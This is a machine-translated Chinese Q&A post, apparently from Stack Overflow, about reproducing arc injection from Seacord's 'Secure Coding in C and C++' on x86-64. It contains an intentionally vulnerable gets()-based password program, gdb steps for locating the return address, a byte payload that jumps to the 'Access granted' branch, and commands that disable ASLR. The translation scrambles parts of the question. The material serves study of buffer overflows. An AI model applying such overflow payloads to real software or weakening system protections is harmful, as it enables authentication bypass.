我是安全的新手,目前指的是Robert Seacord的Secure Coding in C and C++.在同一章的第2章中,作者讨论了电弧注入,其中他从{{1}传递了以下程序中的控制流程。通过使用受污染的字符串覆盖isPasswordOK()
调用中的else() {puts ("Access granted!");};
缓冲区,main()
中的Password
分支例程:gets()
1234567890123456j>*!
此处#include <stdio.h>
#include <string.h>
#include <stdbool.h>
bool isPasswordOK(void) {
char Password[12];
gets(Password);
return 0 == strcmp(Password, "goodpass");
}
int main(void) {
bool pwStatus;
puts("Enter Password: ");
pwStatus = isPasswordOK();
if (pwStatus == false) {
puts("Access denied");
exit(-1);
}
else {
puts("Access granted!");
}
}
,j = 0x6A
(这是数据链接转义符号),> = 0x10
和* = 0x2A
这个4个字符的序列则对应一个4字节的地址,我假设它是! = 0x21
。我认为,这个地址指向0x6A102A21
函数中的else
行,我们通过用该行的地址覆盖堆栈上的返回地址来重定向控制。
我正在尝试在我的机器上重现相同的内容(x86-64架构)。我已经关闭了堆栈保护和随机化,所以我不认为这应该是一个问题。实际上,当我试图破坏返回地址时,程序会按预期崩溃。我的问题是:我如何提供main()
被污染字符串的输入?如果我使用gdb反汇编gets
,我会得到以下输出:
main
由于我想跳转到第二个(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000400642 <+0>: push %rbp
0x0000000000400643 <+1>: mov %rsp,%rbp
0x0000000000400646 <+4>: sub $0x10,%rsp
0x000000000040064a <+8>: mov $0x40071d,%edi
0x000000000040064f <+13>: callq 0x4004c0 <puts@plt>
0x0000000000400654 <+18>: callq 0x400616 <isPasswordOK>
0x0000000000400659 <+23>: mov %al,-0x1(%rbp)
0x000000000040065c <+26>: movzbl -0x1(%rbp),%eax
0x0000000000400660 <+30>: xor $0x1,%eax
0x0000000000400663 <+33>: test %al,%al
0x0000000000400665 <+35>: je 0x40067b <main+57>
0x0000000000400667 <+37>: mov $0x40072e,%edi
0x000000000040066c <+42>: callq 0x4004c0 <puts@plt>
0x0000000000400671 <+47>: mov $0xffffffff,%edi
0x0000000000400676 <+52>: callq 0x400510 <exit@plt>
0x000000000040067b <+57>: mov $0x40073c,%edi
0x0000000000400680 <+62>: callq 0x4004c0 <puts@plt>
0x0000000000400685 <+67>: leaveq
0x0000000000400686 <+68>: retq
End of assembler dump.
调用,我认为我需要提供puts()
作为受污染字符串的一部分,因为这是第二个0x0000000000400680
的地址到gdb反汇编。
我该怎么做?在本书中,地址长度为4个字节,但在这里我必须处理16个字节。此外,puts()
没有ASCII表示,所以我应该提供什么作为0x80
的输入?基本上,我要求的是我应该在提供的角色?:
1234567890123456 ????
我完全感到困惑,所以感谢任何帮助,谢谢!
答案 0 :(得分:0)
我遇到了同样的问题,我会尽力帮助你。问题是字符串也高度依赖于编译器,因此我将解释如何根据我的示例获取字符串。
我的程序看起来像这样(与你的类似)
isPasswordOk.cpp:
#include <iostream>
#include <cstdio>
#include <cstring>
bool isPasswordOk()
{
int result = 0xBBBBBBBB;
char password[10];
std::gets(password);
result = strcmp(password, "good") == 0;
return result;
}
int main()
{
bool pwStatus;
std::puts("Enter password:");
pwStatus = isPasswordOk();
if (pwStatus == false)
{
puts("Access denied!");
return -1;
}
puts("Access granted!");
return 0;
}
然后你如何编译:
g++ isPasswordOk.cpp -std=c++11 -fno-stack-protector -o isPasswordOk
重要的是-fno-stack-protector,因此不会创建canarys。您可以使用另一个c ++标准。但是我的例子没有用std = c ++ 14编译,因为删除了gets函数。
调用isPasswordOk()时的堆栈
+-------------------------+ <--- stack pointer (rsp/esp)
| |
| password-buffer |
| |
| -------------------- |
| result | 0xBBBBBBBB
| --------------------- |
| (canary) | # when not disabled
+-------------------------+ <--- RBP
| Caller RBP frame ptr |
| --------------------- |
| Return Addr Caller |
+-------------------------+
现在使用gdb来获取进行电弧注入的字符串。 gdb isPasswordOk
(gdb) run
Enter password:
AAAA
Access denied!
(gdb) disassemble isPasswordOk
Dump of assembler code for function _Z12isPasswordOkv:
0x0000555555554850 <+0>: push %rbp
0x0000555555554851 <+1>: mov %rsp,%rbp
0x0000555555554854 <+4>: sub $0x10,%rsp
0x0000555555554858 <+8>: movl $0xbbbbbbbb,-0x4(%rbp)
0x000055555555485f <+15>: lea -0x10(%rbp),%rax
0x0000555555554863 <+19>: mov %rax,%rdi
0x0000555555554866 <+22>: callq 0x555555554710
0x000055555555486b <+27>: lea -0x10(%rbp),%rax
0x000055555555486f <+31>: lea 0x14f(%rip),%rsi # 0x5555555549c5
0x0000555555554876 <+38>: mov %rax,%rdi
0x0000555555554879 <+41>: callq 0x555555554718
0x000055555555487e <+46>: test %eax,%eax
0x0000555555554880 <+48>: sete %al
0x0000555555554883 <+51>: movzbl %al,%eax
0x0000555555554886 <+54>: mov %eax,-0x4(%rbp)
0x0000555555554889 <+57>: cmpl $0x0,-0x4(%rbp)
0x000055555555488d <+61>: setne %al
0x0000555555554890 <+64>: leaveq
0x0000555555554891 <+65>: retq
End of assembler dump.
现在设置一些断点
(gdb) break * 0x0000555555554858 # set breakpoint before gets
(gdb) break * 0x0000555555554879 # set breakpoint after gets
现在再次运行它(使用x选项可以打印内存):
(gdb) run
Enter password:
AAAA
(gdb) x/12xw $rsp # rsp for 64 bit, esp for 32 bit
0x7fffffffde20: 0xffffde50 0x00007fff 0x55554720 0x00005555
0x7fffffffde30: 0xffffde50 0x00007fff 0x555548ab 0x00005555
0x7fffffffde40: 0xffffdf30 0x00007fff 0x00000000 0x00000000
(gdb) c
(gdb) x/12xw $rsp
0x7fffffffde20: 0x41414141 0x00007fff 0x55554720 0xBBBBBBBB # 0x41='A'
0x7fffffffde30: 0xffffde50 0x00007fff 0x555548ab 0x00005555
0x7fffffffde40: 0xffffdf00 0x00007fff 0x00000000 0x00000000
Access denied!
所以密码写在地址0x7fffffffde20:0x41414141 =“AAAA” 局部变量结果放在缓冲区0xBBBBBBBB之后。 您还可以看到缓冲区内部为12个字节,我也将其定义为10个字节。 因此,如果我想覆盖Return Addr Caller 0x555548ab 0x00005555,我必须写入0x20(32)字节。
首先,我必须知道地址。因此我再次使用gdb:
(gdb) disass main
Dump of assembler code for function main:
0x0000555555554892 <+0>: push %rbp
0x0000555555554893 <+1>: mov %rsp,%rbp
0x0000555555554896 <+4>: sub $0x10,%rsp
0x000055555555489a <+8>: lea 0x128(%rip),%rdi # 0x5555555549c9
0x00005555555548a1 <+15>: callq 0x5555555546f0
0x00005555555548a6 <+20>: callq 0x555555554850 <_Z12isPasswordOkv>
0x00005555555548ab <+25>: mov %al,-0x1(%rbp)
0x00005555555548ae <+28>: movzbl -0x1(%rbp),%eax
0x00005555555548b2 <+32>: xor $0x1,%eax
0x00005555555548b5 <+35>: test %al,%al
0x00005555555548b7 <+37>: je 0x5555555548cc <main+58>
0x00005555555548b9 <+39>: lea 0x119(%rip),%rdi # 0x5555555549d9
0x00005555555548c0 <+46>: callq 0x5555555546f0
0x00005555555548c5 <+51>: mov $0xffffffff,%eax
0x00005555555548ca <+56>: jmp 0x5555555548dd <main+75>
0x00005555555548cc <+58>: lea 0x115(%rip),%rdi # 0x5555555549e8
0x00005555555548d3 <+65>: callq 0x5555555546f0
0x00005555555548d8 <+70>: mov $0x0,%eax
0x00005555555548dd <+75>: leaveq
0x00005555555548de <+76>: retq
End of assembler dump.
我想跳转到地址0x00005555555548cc。所以你必须创建这样的字符串:
echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAA\xcc\x48\x55\x55\x55\x55\x00\x00' > arcInjection.txt
然后你可以通过运行来调用它:
(gdb) run < arcInjection.txt
Access granted!
如果要在gdb外部运行它,则必须禁用地址空间布局随机化(ASR)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
然后你也可以在控制台中运行它:
./isPasswordOk < arcInjection.txt
Enter password:
Access granted!
重启后再次激活ASR,或者之后再打电话:
echo 1 | sudo tee /proc/sys/kernel/randomize_va_space